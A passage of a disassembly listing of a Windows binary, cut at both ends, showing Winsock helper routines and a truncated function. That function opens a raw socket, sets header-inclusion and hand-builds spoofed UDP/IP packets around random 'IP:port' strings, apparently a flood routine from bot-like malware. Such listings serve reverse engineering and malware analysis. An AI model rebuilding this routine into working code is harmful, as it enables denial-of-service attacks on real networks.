		mov	[ebp+var_4], eax


loc_405068:				; CODE XREF: sub_404FE7+76j
		cmp	[ebp+var_4], 0
		jz	short loc_4050DD
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+8]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		call	ds:dword_417218	; socket
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0FFFFFFFFh
		jnz	short loc_405091
		jmp	short loc_40505F
; ---------------------------------------------------------------------------


loc_405091:				; CODE XREF: sub_404FE7+A6j
		push	0
		push	[ebp+var_2C]
		call	sub_404457
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+18h]
		push	[ebp+var_2C]
		call	ds:dword_4171F4	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4050D2
		call	ds:dword_417224	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_4050D2
		push	[ebp+var_28]
		call	ds:dword_41DF5C	; freeaddrinfo
		mov	eax, [ebp+var_2C]
		jmp	short locret_4050E8
; ---------------------------------------------------------------------------


loc_4050D2:				; CODE XREF: sub_404FE7+CEj
					; sub_404FE7+DBj
		push	[ebp+var_2C]
		call	sub_4053B1
		pop	ecx
		jmp	short loc_40505F
; ---------------------------------------------------------------------------


loc_4050DD:				; CODE XREF: sub_404FE7+85j
		push	[ebp+var_28]
		call	ds:dword_41DF5C	; freeaddrinfo
		xor	eax, eax

locret_4050E8:				; CODE XREF: sub_404FE7+6Bj
					; sub_404FE7+E9j
		leave
		retn
sub_404FE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4050EA	proc near		; CODE XREF: sub_401E38+80p
					; sub_402698+16p ...

var_844		= dword	ptr -844h
var_840		= dword	ptr -840h
var_83C		= dword	ptr -83Ch
var_838		= dword	ptr -838h
var_834		= dword	ptr -834h
var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 844h
		mov	eax, [ebp+arg_C]
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		mov	[ebp+var_834], eax
		mov	eax, [ebp+arg_C]
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		imul	edx, 3E8h
		mov	[ebp+var_830], edx
		push	20h
		push	0
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_8]
		and	eax, 2
		test	eax, eax
		jz	short loc_40513E
		mov	[ebp+var_20], 17h
		jmp	short loc_405155
; ---------------------------------------------------------------------------


loc_40513E:				; CODE XREF: sub_4050EA+49j
		mov	eax, [ebp+arg_8]
		and	eax, 1
		test	eax, eax
		jz	short loc_405151
		mov	[ebp+var_20], 2
		jmp	short loc_405155
; ---------------------------------------------------------------------------


loc_405151:				; CODE XREF: sub_4050EA+5Cj
		and	[ebp+var_20], 0


loc_405155:				; CODE XREF: sub_4050EA+52j
					; sub_4050EA+65j
		mov	eax, [ebp+arg_8]
		and	eax, 4
		xor	ecx, ecx
		test	eax, eax
		setnz	cl
		inc	ecx
		mov	[ebp+var_1C], ecx
		lea	eax, [ebp+var_82C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_41DF54	; getaddrinfo
		test	eax, eax
		jz	short loc_405188
		xor	eax, eax
		jmp	locret_40538B
; ---------------------------------------------------------------------------


loc_405188:				; CODE XREF: sub_4050EA+95j
		mov	eax, [ebp+var_82C]
		mov	[ebp+var_4], eax
		jmp	short loc_40519C
; ---------------------------------------------------------------------------


loc_405193:				; CODE XREF: sub_4050EA+E3j
					; sub_4050EA+128j ...
		mov	eax, [ebp+var_4]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_4], eax


loc_40519C:				; CODE XREF: sub_4050EA+A7j
		cmp	[ebp+var_4], 0
		jz	loc_40537D
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+8]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		call	ds:dword_417218	; socket
		mov	[ebp+var_83C], eax
		cmp	[ebp+var_83C], 0FFFFFFFFh
		jnz	short loc_4051CF
		jmp	short loc_405193
; ---------------------------------------------------------------------------


loc_4051CF:				; CODE XREF: sub_4050EA+E1j
		push	0
		push	[ebp+var_83C]
		call	sub_404457
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+18h]
		push	[ebp+var_83C]
		call	ds:dword_4171F4	; connect
		mov	[ebp+var_838], eax
		cmp	[ebp+var_838], 0
		jz	short loc_405217
		call	ds:dword_417224	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_405217
		jmp	loc_405193
; ---------------------------------------------------------------------------


loc_405217:				; CODE XREF: sub_4050EA+119j
					; sub_4050EA+126j
		and	[ebp+var_828], 0


loc_40521E:				; CODE XREF: sub_4050EA+1AFj
		and	[ebp+var_840], 0
		jmp	short loc_405234
; ---------------------------------------------------------------------------


loc_405227:				; CODE XREF: sub_4050EA:loc_405259j
		mov	eax, [ebp+var_840]
		inc	eax
		mov	[ebp+var_840], eax


loc_405234:				; CODE XREF: sub_4050EA+13Bj
		mov	eax, [ebp+var_840]
		cmp	eax, [ebp+var_828]
		jnb	short loc_40525B
		mov	eax, [ebp+var_840]
		mov	eax, [ebp+eax*4+var_824]
		cmp	eax, [ebp+var_83C]
		jnz	short loc_405259
		jmp	short loc_40525B
; ---------------------------------------------------------------------------


loc_405259:				; CODE XREF: sub_4050EA+16Bj
		jmp	short loc_405227
; ---------------------------------------------------------------------------


loc_40525B:				; CODE XREF: sub_4050EA+156j
					; sub_4050EA+16Dj
		mov	eax, [ebp+var_840]
		cmp	eax, [ebp+var_828]
		jnz	short loc_405295
		cmp	[ebp+var_828], 200h
		jnb	short loc_405295
		mov	eax, [ebp+var_840]
		mov	ecx, [ebp+var_83C]
		mov	[ebp+eax*4+var_824], ecx
		mov	eax, [ebp+var_828]
		inc	eax
		mov	[ebp+var_828], eax


loc_405295:				; CODE XREF: sub_4050EA+17Dj
					; sub_4050EA+189j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_40521E
		lea	eax, [ebp+var_834]
		push	eax
		push	0
		lea	eax, [ebp+var_828]
		push	eax
		push	0
		push	0
		call	ds:dword_41722C	; select
		cmp	eax, 1
		jnz	short loc_4052E0
		push	1
		push	[ebp+var_83C]
		call	sub_404457
		pop	ecx
		pop	ecx
		push	[ebp+var_82C]
		call	ds:dword_41DF5C	; freeaddrinfo
		mov	eax, [ebp+var_83C]
		jmp	locret_40538B
; ---------------------------------------------------------------------------


loc_4052E0:				; CODE XREF: sub_4050EA+1CEj
					; sub_4050EA+27Cj
		and	[ebp+var_844], 0
		jmp	short loc_4052F6
; ---------------------------------------------------------------------------


loc_4052E9:				; CODE XREF: sub_4050EA:loc_405360j
		mov	eax, [ebp+var_844]
		inc	eax
		mov	[ebp+var_844], eax


loc_4052F6:				; CODE XREF: sub_4050EA+1FDj
		mov	eax, [ebp+var_844]
		cmp	eax, [ebp+var_828]
		jnb	short loc_405362
		mov	eax, [ebp+var_844]
		mov	eax, [ebp+eax*4+var_824]
		cmp	eax, [ebp+var_83C]
		jnz	short loc_405360


loc_405319:				; CODE XREF: sub_4050EA+265j
		mov	eax, [ebp+var_828]
		dec	eax
		cmp	[ebp+var_844], eax
		jnb	short loc_405351
		mov	eax, [ebp+var_844]
		mov	ecx, [ebp+var_844]
		mov	ecx, [ebp+ecx*4+var_820]
		mov	[ebp+eax*4+var_824], ecx
		mov	eax, [ebp+var_844]
		inc	eax
		mov	[ebp+var_844], eax
		jmp	short loc_405319
; ---------------------------------------------------------------------------


loc_405351:				; CODE XREF: sub_4050EA+23Cj
		mov	eax, [ebp+var_828]
		dec	eax
		mov	[ebp+var_828], eax
		jmp	short loc_405362
; ---------------------------------------------------------------------------


loc_405360:				; CODE XREF: sub_4050EA+22Dj
		jmp	short loc_4052E9
; ---------------------------------------------------------------------------


loc_405362:				; CODE XREF: sub_4050EA+218j
					; sub_4050EA+274j
		xor	eax, eax
		test	eax, eax
		jnz	loc_4052E0
		push	[ebp+var_83C]
		call	sub_4053B1
		pop	ecx
		jmp	loc_405193
; ---------------------------------------------------------------------------


loc_40537D:				; CODE XREF: sub_4050EA+B6j
		push	[ebp+var_82C]
		call	ds:dword_41DF5C	; freeaddrinfo
		xor	eax, eax

locret_40538B:				; CODE XREF: sub_4050EA+99j
					; sub_4050EA+1F1j
		leave
		retn
sub_4050EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40538D	proc near		; CODE XREF: sub_401E38+26Ep
					; sub_4020C2+3FBp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	1
		push	[ebp+arg_0]
		call	ds:dword_417200	; shutdown
		push	3E8h
		call	ds:dword_41709C	; Sleep
		push	[ebp+arg_0]
		call	sub_4053B1
		pop	ecx
		pop	ebp
		retn
sub_40538D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053B1	proc near		; CODE XREF: sub_404279+77p
					; sub_40432E+1Cp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	ds:dword_417230	; closesocket
		pop	ebp
		retn
sub_4053B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053BF	proc near		; CODE XREF: sub_401E38+15Cp
					; sub_4020C2+2F9p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_41720C	; send
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		leave
		retn
sub_4053BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053DC	proc near		; CODE XREF: sub_403DF3+D1p
					; sub_405443+21p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_8], 2
		jnb	short loc_4053F6
		push	271Eh
		call	ds:dword_417234	; WSASetLastError
		or	eax, 0FFFFFFFFh
		jmp	short locret_405441
; ---------------------------------------------------------------------------


loc_4053F6:				; CODE XREF: sub_4053DC+8j
		push	0
		mov	eax, [ebp+arg_8]
		dec	eax
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_417248	; recv
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_405418
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_40541D


loc_405418:				; CODE XREF: sub_4053DC+34j
		mov	eax, [ebp+var_4]
		jmp	short locret_405441
; ---------------------------------------------------------------------------


loc_40541D:				; CODE XREF: sub_4053DC+3Aj
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_405435
		push	271Eh
		call	ds:dword_417234	; WSASetLastError
		or	eax, 0FFFFFFFFh
		jmp	short locret_405441
; ---------------------------------------------------------------------------


loc_405435:				; CODE XREF: sub_4053DC+47j
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_4]

locret_405441:				; CODE XREF: sub_4053DC+18j
					; sub_4053DC+3Fj ...
		leave
		retn
sub_4053DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405443	proc near		; CODE XREF: sub_402698+8Dp
					; sub_402698+2BEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_C]
		push	[ebp+arg_0]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40545B
		xor	eax, eax
		jmp	short loc_40546C
; ---------------------------------------------------------------------------


loc_40545B:				; CODE XREF: sub_405443+12j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4053DC
		add	esp, 0Ch


loc_40546C:				; CODE XREF: sub_405443+16j
		pop	ebp
		retn
sub_405443	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40546E	proc near		; CODE XREF: sub_405443+9p
					; sub_410649+2Dp ...

var_1018	= dword	ptr -1018h
var_1014	= dword	ptr -1014h
var_1010	= dword	ptr -1010h
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_804		= dword	ptr -804h
var_800		= dword	ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1018h
		call	sub_416BC0
		and	[ebp+var_804], 0
		and	[ebp+var_1008],	0


loc_405489:				; CODE XREF: sub_40546E+90j
		and	[ebp+var_1014],	0
		jmp	short loc_40549F
; ---------------------------------------------------------------------------


loc_405492:				; CODE XREF: sub_40546E:loc_4054C1j
		mov	eax, [ebp+var_1014]
		inc	eax
		mov	[ebp+var_1014],	eax


loc_40549F:				; CODE XREF: sub_40546E+22j
		mov	eax, [ebp+var_1014]
		cmp	eax, [ebp+var_804]
		jnb	short loc_4054C3
		mov	eax, [ebp+var_1014]
		mov	eax, [ebp+eax*4+var_800]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_4054C1
		jmp	short loc_4054C3
; ---------------------------------------------------------------------------


loc_4054C1:				; CODE XREF: sub_40546E+4Fj
		jmp	short loc_405492
; ---------------------------------------------------------------------------


loc_4054C3:				; CODE XREF: sub_40546E+3Dj
					; sub_40546E+51j
		mov	eax, [ebp+var_1014]
		cmp	eax, [ebp+var_804]
		jnz	short loc_4054FA
		cmp	[ebp+var_804], 200h
		jnb	short loc_4054FA
		mov	eax, [ebp+var_1014]
		mov	ecx, [ebp+arg_0]
		mov	[ebp+eax*4+var_800], ecx
		mov	eax, [ebp+var_804]
		inc	eax
		mov	[ebp+var_804], eax


loc_4054FA:				; CODE XREF: sub_40546E+61j
					; sub_40546E+6Dj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_405489


loc_405500:				; CODE XREF: sub_40546E+107j
		and	[ebp+var_1018],	0
		jmp	short loc_405516
; ---------------------------------------------------------------------------


loc_405509:				; CODE XREF: sub_40546E:loc_405538j
		mov	eax, [ebp+var_1018]
		inc	eax
		mov	[ebp+var_1018],	eax


loc_405516:				; CODE XREF: sub_40546E+99j
		mov	eax, [ebp+var_1018]
		cmp	eax, [ebp+var_1008]
		jnb	short loc_40553A
		mov	eax, [ebp+var_1018]
		mov	eax, [ebp+eax*4+var_1004]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_405538
		jmp	short loc_40553A
; ---------------------------------------------------------------------------


loc_405538:				; CODE XREF: sub_40546E+C6j
		jmp	short loc_405509
; ---------------------------------------------------------------------------


loc_40553A:				; CODE XREF: sub_40546E+B4j
					; sub_40546E+C8j
		mov	eax, [ebp+var_1018]
		cmp	eax, [ebp+var_1008]
		jnz	short loc_405571
		cmp	[ebp+var_1008],	200h
		jnb	short loc_405571
		mov	eax, [ebp+var_1018]
		mov	ecx, [ebp+arg_0]
		mov	[ebp+eax*4+var_1004], ecx
		mov	eax, [ebp+var_1008]
		inc	eax
		mov	[ebp+var_1008],	eax


loc_405571:				; CODE XREF: sub_40546E+D8j
					; sub_40546E+E4j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_405500
		mov	eax, [ebp+arg_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	[ebp+var_1010],	eax
		mov	eax, [ebp+arg_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		imul	edx, 3E8h
		mov	[ebp+var_100C],	edx
		lea	eax, [ebp+var_1010]
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	0
		lea	eax, [ebp+var_804]
		push	eax
		push	1
		call	ds:dword_41722C	; select
		cmp	eax, 1
		jz	short loc_4055C9
		xor	eax, eax
		jmp	short locret_4055E3
; ---------------------------------------------------------------------------


loc_4055C9:				; CODE XREF: sub_40546E+155j
		lea	eax, [ebp+var_804]
		push	eax
		push	[ebp+arg_0]
		call	sub_416E30	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_4055E1
		push	1
		pop	eax
		jmp	short locret_4055E3
; ---------------------------------------------------------------------------


loc_4055E1:				; CODE XREF: sub_40546E+16Cj
		xor	eax, eax

locret_4055E3:				; CODE XREF: sub_40546E+159j
					; sub_40546E+171j
		leave
		retn
sub_40546E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4055E5	proc near		; DATA XREF: sub_405E45+113o

var_1358	= dword	ptr -1358h
var_1354	= dword	ptr -1354h
var_1350	= dword	ptr -1350h
var_134C	= dword	ptr -134Ch
var_1348	= dword	ptr -1348h
var_1344	= dword	ptr -1344h
var_1340	= dword	ptr -1340h
var_133C	= dword	ptr -133Ch
var_1338	= dword	ptr -1338h
var_1334	= dword	ptr -1334h
var_118D	= byte ptr -118Dh
var_108D	= byte ptr -108Dh
var_1087	= dword	ptr -1087h
var_1083	= dword	ptr -1083h
var_107F	= dword	ptr -107Fh
var_1078	= dword	ptr -1078h
var_1074	= byte ptr -1074h
var_1058	= byte ptr -1058h
var_14		= dword	ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1358h
		call	sub_416BC0
		push	2B9h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1334]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	ds:dword_417218	; socket
		mov	[ebp+var_1078],	eax
		cmp	[ebp+var_1078],	0FFFFFFFFh
		jnz	short loc_405643
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_405E41
; ---------------------------------------------------------------------------


loc_405643:				; CODE XREF: sub_4055E5+49j
		mov	[ebp+var_1340],	1
		push	4
		lea	eax, [ebp+var_1340]
		push	eax
		push	2
		push	0
		push	[ebp+var_1078]
		call	ds:dword_417204	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40567E
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_405E41
; ---------------------------------------------------------------------------


loc_40567E:				; CODE XREF: sub_4055E5+84j
		push	0
		push	[ebp+var_1078]
		call	sub_404457
		pop	ecx
		pop	ecx
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		lea	eax, [ebp+var_108D]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		push	eax
		call	ds:dword_417238	; ntohs
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_118D]
		push	eax
		call	ds:dword_417244	; inet_addr
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_405710
		lea	eax, [ebp+var_118D]
		push	eax
		call	ds:dword_41723C	; gethostbyname
		mov	[ebp+var_1344],	eax
		cmp	[ebp+var_1344],	0
		jnz	short loc_405700
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_405E41
; ---------------------------------------------------------------------------


loc_405700:				; CODE XREF: sub_4055E5+106j
		mov	eax, [ebp+var_1344]
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_C], eax


loc_405710:				; CODE XREF: sub_4055E5+EAj
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_405729
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_405E41
; ---------------------------------------------------------------------------


loc_405729:				; CODE XREF: sub_4055E5+12Fj
		push	1060h
		push	0
		lea	eax, [ebp+var_1074]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		lea	eax, [ebp+var_1074]
		mov	[ebp+var_133C],	eax
		lea	eax, [ebp+var_1058]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_133C]
		mov	al, [eax]
		and	al, 0F0h
		or	al, 5
		mov	ecx, [ebp+var_133C]
		mov	[ecx], al
		mov	eax, [ebp+var_133C]
		mov	al, [eax]
		and	al, 0Fh
		or	al, 40h
		mov	ecx, [ebp+var_133C]
		mov	[ecx], al
		mov	eax, [ebp+var_133C]
		mov	byte ptr [eax+9], 11h
		mov	eax, [ebp+var_133C]
		mov	ecx, [ebp+var_C]
		mov	[eax+10h], ecx
		mov	eax, [ebp+var_133C]
		mov	cx, [ebp+var_E]
		mov	[eax+16h], cx
		and	[ebp+var_1338],	0
		jmp	short loc_4057B6
; ---------------------------------------------------------------------------


loc_4057A9:				; CODE XREF: sub_4055E5:loc_405E22j
		mov	eax, [ebp+var_1338]
		inc	eax
		mov	[ebp+var_1338],	eax


loc_4057B6:				; CODE XREF: sub_4055E5+1C2j
		mov	eax, [ebp+var_1338]
		cmp	eax, [ebp+var_1087]
		jge	loc_405E27
		mov	eax, [ebp+var_107F]
		mov	[ebp+var_1358],	eax
		cmp	[ebp+var_1358],	1
		jz	short loc_4057FC
		cmp	[ebp+var_1358],	2
		jz	loc_405924
		cmp	[ebp+var_1358],	3
		jz	loc_405A11
		jmp	loc_405C71
; ---------------------------------------------------------------------------


loc_4057FC:				; CODE XREF: sub_4055E5+1F6j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU	; "%u\r\n"
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch


loc_40581E:				; CODE XREF: sub_4055E5+2BFj
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 7D0h
		jnb	short loc_4058A9
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_40581E
; ---------------------------------------------------------------------------


loc_4058A9:				; CODE XREF: sub_4055E5+247j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	offset dword_418A64
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_405C93
; ---------------------------------------------------------------------------


loc_405924:				; CODE XREF: sub_4055E5+1FFj
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU	; "%u\r\n"
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch


loc_405946:				; CODE XREF: sub_4055E5+3CBj
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 7D0h
		jnb	short loc_4059B2
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	short loc_405946
; ---------------------------------------------------------------------------


loc_4059B2:				; CODE XREF: sub_4055E5+36Fj
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	1
		push	offset dword_418A64
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_405C93
; ---------------------------------------------------------------------------


loc_405A11:				; CODE XREF: sub_4055E5+20Cj
		push	2
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_134C],	eax
		cmp	[ebp+var_134C],	0
		jnz	short loc_405A52
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset dword_418A60
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch
		jmp	loc_405C6F
; ---------------------------------------------------------------------------


loc_405A52:				; CODE XREF: sub_4055E5+444j
		cmp	[ebp+var_134C],	1
		jnz	loc_405B87
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU	; "%u\r\n"
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch


loc_405A81:				; CODE XREF: sub_4055E5+522j
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		cmp	eax, 7D0h
		jnb	short loc_405B0C
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	offset aU_U_U_UU ; "%u.%u.%u.%u:%u\r\n"
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_405A81
; ---------------------------------------------------------------------------


loc_405B0C:				; CODE XREF: sub_4055E5+4AAj
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	0FFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, al
		push	eax
		push	offset dword_418A64
		push	[ebp+var_14]
		call	sub_416B40	; strlen
		pop	ecx
		mov	ecx, [ebp+var_14]
		add	ecx, eax
		push	ecx
		call	sub_416B5E	; sprintf
		add	esp, 1Ch
		jmp	loc_405C6F
; ---------------------------------------------------------------------------


loc_405B87:				; CODE XREF: sub_4055E5+474j
		push	0FFFFh
		push	1
		call	sub_4103F5
		pop	ecx
		pop	ecx
		movzx	eax, ax
		push	eax
		push	offset aU	; "%u\r\n"
		push	[ebp+var_14]
		call	sub_416B5E	; sprintf
		add	esp, 0Ch


